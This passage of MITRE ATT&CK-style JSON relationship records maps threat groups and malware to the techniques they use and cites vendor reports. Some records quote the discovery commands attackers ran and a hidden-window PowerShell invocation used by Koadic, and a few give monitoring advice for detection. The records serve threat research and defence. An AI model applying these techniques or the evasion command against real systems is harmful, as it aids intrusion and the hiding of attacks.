Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."}, {"source_name": "Proofpoint TA407 September 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}], "modified": "2021-02-04T14:43:12.883Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Proofpoint TA407 September 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--33214d7f-0c78-4905-8ab0-8a6b6eb20eeb", "type": "relationship", "created": "2021-08-09T14:18:20.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2021-08-09T14:18:20.857Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover Group Policy details using the <code>gpresult</code> command.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3325e625-d76b-42df-b952-749dabb57517", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "ESET Turla PowerShell May 2019", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}], "modified": "2020-06-29T02:52:31.770Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the <code>netstat -an</code>, <code>net use</code>, <code>net file</code>, and <code>net session</code> commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the <code>GetTcpTable2</code> API call.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3329382e-c40f-44a2-82c3-fb1479c3b6d2", "created": "2024-03-07T19:36:03.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Electron Security 2", "description": "Stack Overflow. (n.d.). Why do I see an \"Electron Security Warning\" after updating my Electron project to the latest version?. Retrieved March 7, 2024.", "url": "https://stackoverflow.com/questions/48854265/why-do-i-see-an-electron-security-warning-after-updating-my-electron-project-t"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-15T23:34:07.619Z", "description": "Remove or deny access to unnecessary and potentially vulnerable software and features to prevent abuse by adversaries. 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Configuring Additional LSA Protection. Retrieved June 24, 2015.", "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"}]}, {"type": "relationship", "id": "relationship--332ce4cd-311a-457f-ae10-6d8e3ef7bc77", "created": "2020-07-27T15:20:50.519Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trustwave Pillowmint June 2020", "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . 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(2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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(2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."}], "modified": "2020-08-24T15:01:02.103Z", "description": "(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "target_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3337112a-0b29-450f-9183-a0ec428c4898", "created": "2020-04-28T12:47:25.938Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}, {"source_name": "Talos PoetRAT October 2020", "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to copy files and download/upload files into C2 channels using FTP and HTTPS.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)", "modified": "2022-04-19T01:39:54.426Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--33390e6e-f262-48fb-a74a-084c310b3aa2", "created": "2022-05-25T18:56:20.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "DFIR Report APT35 ProxyShell March 2022", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-09T19:49:22.026Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used scheduled tasks to establish persistence and execution.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3339e98d-9078-496e-bc24-8bcf5f86ac33", "type": "relationship", "created": "2021-11-24T21:42:01.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-11-24T21:42:01.329Z", "description": "[Koadic](https://attack.mitre.org/software/S0250) has used the command <code>Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden</code> to hide its window.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--333bd465-8713-4918-b60d-6128c52cbf04", "type": "relationship", "created": "2019-04-22T22:28:28.598Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2019-04-24T15:26:03.815Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) can overwrite files with random data before deleting them.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--333c5688-edc4-40ba-a382-e98f4473d8c7", "type": "relationship", "created": "2021-02-10T19:16:02.446Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T19:16:02.446Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather a list of processes running on the machine.(Citation: ClearSky Lebanese Cedar Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--333f527e-15e1-4760-a03b-c1ca4edc351b", "created": "2024-01-23T19:15:41.602Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) can use HTTP to communicate with C2 servers.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:11:27.240Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--33eb06fa-5983-47d8-9f7f-d594f311a008", "type": "relationship", "created": "2021-08-03T15:14:22.621Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved July 15, 2020."}], "modified": "2020-07-29T21:36:24.385Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) can start a remote VNC session by downloading a new plugin.(Citation: Prevx Carberp March 2011)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3407bbe8-bceb-42f1-824b-d92d9972d917", "type": "relationship", "created": "2021-05-18T17:50:19.340Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.357Z", "description": "The [Cobalt Strike](https://attack.mitre.org/software/S0154) System Profiler can discover applications through the browser and identify the version of Java the target has.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--340a62c8-9f22-4cb6-9310-bd4136e14258", "type": "relationship", "created": "2021-01-04T14:59:30.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."}, {"source_name": "Check Point Pay2Key November 2020", "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}], "modified": "2021-04-20T19:53:50.094Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has created KeyBase accounts to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)(Citation: Check Point Pay2Key November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--340d4ef7-816b-4758-994f-b913df78afd7", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", "source_name": "Lotus Blossom Jun 2015"}, {"source_name": "Accenture Dragonfish Jan 2018", "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."}], "modified": "2019-04-17T22:12:24.779Z", "description": "[Elise](https://attack.mitre.org/software/S0081) executes <code>ipconfig /all</code> after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", "relationship_type": "uses", "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--340d8351-0454-4224-9fbd-da1c9f7483a1", "created": "2022-03-30T14:26:51.860Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ise Password Manager February 2019", "url": "https://www.ise.io/casestudies/password-manager-hacking/", "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor process being accessed that may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)", "modified": "2022-04-20T14:30:03.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--341025e9-e0b8-4e9b-873c-40d7bc86e131", "type": "relationship", "created": "2019-04-16T12:57:12.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": " Palotay, D. and Mackenzie, P. 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Retrieved May 20, 2021."}], "modified": "2021-09-15T18:02:37.541Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used the win32_service WMI class to retrieve a list of services from the system.(Citation: Symantec WastedLocker June 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--342b69ad-118b-467d-838e-33ffa931af29", "type": "relationship", "created": "2020-09-24T13:19:42.606Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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Retrieved September 20, 2021."}], "modified": "2021-09-22T14:33:04.210Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has conducted broad phishing campaigns using malicious links.(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3434121e-a4d6-43a7-b905-78c52f5a12bd", "type": "relationship", "created": "2020-08-17T12:57:12.185Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. 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(2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. 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Retrieved November 14, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Octopus](https://attack.mitre.org/software/S0340) can collect the username from the victim\u2019s machine.(Citation: Securelist Octopus Oct 2018)", "modified": "2022-04-06T17:24:19.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--349025c3-f266-41ce-a738-330b5e7f1b4e", "created": "2022-04-09T14:33:52.087Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. 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Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) has been disguised as the Windows Power Efficiency Diagnostics report tool.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-13T11:11:47.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3495a807-c530-4128-bdca-44363c55e669", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor for changes made to files that may stop or disable services on a system to render those services unavailable to legitimate users.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3499e2c5-e22a-4e99-ae90-3c7b48aa5ccb", "created": "2023-01-05T19:59:55.184Z", "revoked": false, "external_references": [{"source_name": "Google Iran Threats October 2021", "description": "Bash, A. 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Retrieved February 25, 2022."}], "modified": "2022-03-07T22:20:19.061Z", "description": "[ftp](https://attack.mitre.org/software/S0095) may be abused by adversaries to transfer tools or files between systems within a compromised environment.(Citation: Microsoft FTP)(Citation: Linux FTP)", "relationship_type": "uses", "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--34a06e23-b81c-45c7-96bc-7e08d31a4a44", "type": "relationship", "created": "2020-07-15T19:06:50.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM IcedID November 2017", "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "description": "Kessem, L., et al. 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Retrieved August 19, 2021."}], "modified": "2021-08-23T19:38:33.323Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) looks for and attempts to stop anti-malware solutions.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--34ad093b-408b-4694-8aba-862f8de10102", "type": "relationship", "created": "2020-11-09T16:28:37.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). 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Retrieved November 9, 2020."}], "modified": "2020-11-09T16:28:37.700Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used malicious VBS e-mail attachments for execution.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--34b96e5d-1b2a-4ca5-89b5-7de398966bea", "type": "relationship", "created": "2021-04-13T20:27:51.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Avira Mustang Panda January 2020", "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}], "modified": "2021-04-19T17:14:29.326Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129)'s [PlugX](https://attack.mitre.org/software/S0013) variant has created a hidden folder on USB drives named <code>RECYCLE.BIN</code> to store malicious executables and collected data.(Citation: Avira Mustang Panda January 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT29", "description": "FireEye Labs. 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Retrieved August 24, 2021."}], "modified": "2021-08-24T14:13:17.463Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) uses RC4 to encrypt the message body of HTTP content.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--34e90f3c-05d0-4202-8650-efe971222c99", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--34e9fc0a-75b9-4100-91ef-30ca3225958a", "type": "relationship", "created": "2020-04-29T22:01:48.138Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis Hi-Zor", "description": "Fidelis Threat Research Team. (2016, January 27). 